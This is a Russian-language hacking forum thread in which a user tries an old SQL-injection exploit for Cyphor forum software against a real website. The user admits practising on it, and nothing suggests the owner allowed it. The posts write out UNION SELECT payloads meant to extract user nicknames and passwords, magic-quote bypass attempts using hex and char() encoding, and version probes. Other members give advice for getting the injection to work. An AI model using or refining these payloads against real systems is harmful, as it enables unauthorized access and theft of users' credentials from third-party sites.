PDA

Просмотр полной версии : cyphor sql-injection


anybeni
03.01.2016, 23:14
Пробовал вот эту sql инъекцию: cxsecurity.com/issue/WLB-2005110041 на форуме Cyphor версии: 0.19

Выдает сообщение "MySQL Error: Invalid SQL: SELECT * FROM cyphor_ WHERE id=-10 union select id,null,null,null,null,nick,password,null,null,nul l from users where id=1

Database error: 1064 (You have an error in your SQL syntax near 'union select id,null,null,null,null,nick,password,null,null,nul l from users wher' at line 1)

Please contact us [info@сайт.org (mailto:info@cantus.org)] and specify the exact error message.

Session halted.

Это из-за того, что фильтруются слова select и union? Замена их на шестнадцатеричные значения дала тот же результат.

Подскажите из-за чего может вылетать это сообщение?

anybeni
04.01.2016, 23:41
Запросы с кавычкой не прокатывают, потому что экранируются слешем.

Например пишу: http://www.site.com/forum/cyphor/show.php?fid=4' SELECT * FROM cyphor_forums WHERE '1'='1'/*

И получаю: Database error: 1064 (You have an error in your SQL syntax near '\' SELECT * FROM cyphor_forums WHERE \'1\'=\'1\'/*' at line 1)

Замена кавычки на %27 или 0х27 или всего запроса на hex выдает ту же ошибку.

Можно ли как-то обойти магические кавычки?

п.с.: в гугле был.

п.п.с.: попробовал еще конвертировать строку ' SELECT * FROM cyphor_forums WHERE id=4 в hex. Получилось


Code:
http://www.site.com/forum/cyphor/show.php?fid=4+char(0x272053454c454354202a2046524f 4d20637970686f725f666f72756d732057484552452069643d 34)+--

но сайт отозвался той же ошибкой

AlexG
05.01.2016, 01:21
http://www.cantus.de/forum/cyphor/show.php?fid=4 order by 4


anybeni said:
↑ (https://antichat.live/posts/3936135/)
Запросы с кавычкой не прокатывают, потому что экранируются слешем.
Например пишу:
http://www.site.com/forum/cyphor/show.php?fid=4
' SELECT * FROM cyphor_forums WHERE '1'='1'/*
И получаю:
Database error
: 1064 (You have an error in your SQL syntax near '\' SELECT * FROM cyphor_forums WHERE \'1\'=\'1\'/*' at line 1)
Замена кавычки на %27 или 0х27 или всего запроса на hex выдает ту же ошибку.
Можно ли как-то обойти магические кавычки?
п.с.: в гугле был.
п.п.с.: попробовал еще конвертировать строку
' SELECT * FROM cyphor_forums WHERE id=4
в hex. Получилось

Code:
http://www.site.com/forum/cyphor/show.php?fid=4+char(0x272053454c454354202a2046524f 4d20637970686f725f666f72756d732057484552452069643d 34)+--

но сайт отозвался той же ошибкой


Т.к. уязвимость аж 2005 года - то скорее всего она везде так или иначе прикрыта. Как например на одном немецком сайте, на котором, как я подозреваю, вы тренируетесь

faza02
05.01.2016, 15:03
при чем тут конвертирование в хекс или урленкод? стоит лучше разобраться в вопросе. ошибка из-за того, что запрос некорректен, и находится он в int параметре, где кавычки вам и не нужны. уверены, что подобрали верное количество полей? версия mysql какая?

anybeni
05.01.2016, 21:50
AlexG, да, я на этом сайте тренируюсь)

yarbabin, я пробовал с кавычками и без кавычек и без WHERE.

В ответ на запросы в которых были команды union, select, from, show или +--+ сайт возвращал все ту же ошибку синтаксиса.

В ответ на or concat(version()) или or concat_ws(0x3a,version()) открывается обычная страница и ничего похожего на версию. При этом в конце строки были символы комментария /* или # Если параметру fid присвоить не существующее значение, то открывается урезанная версия страницы.

Инъекция через поля логин/пароль и поиск не удалась, тоже все фильтруется.

Видимо мне этот сайт не по зубам.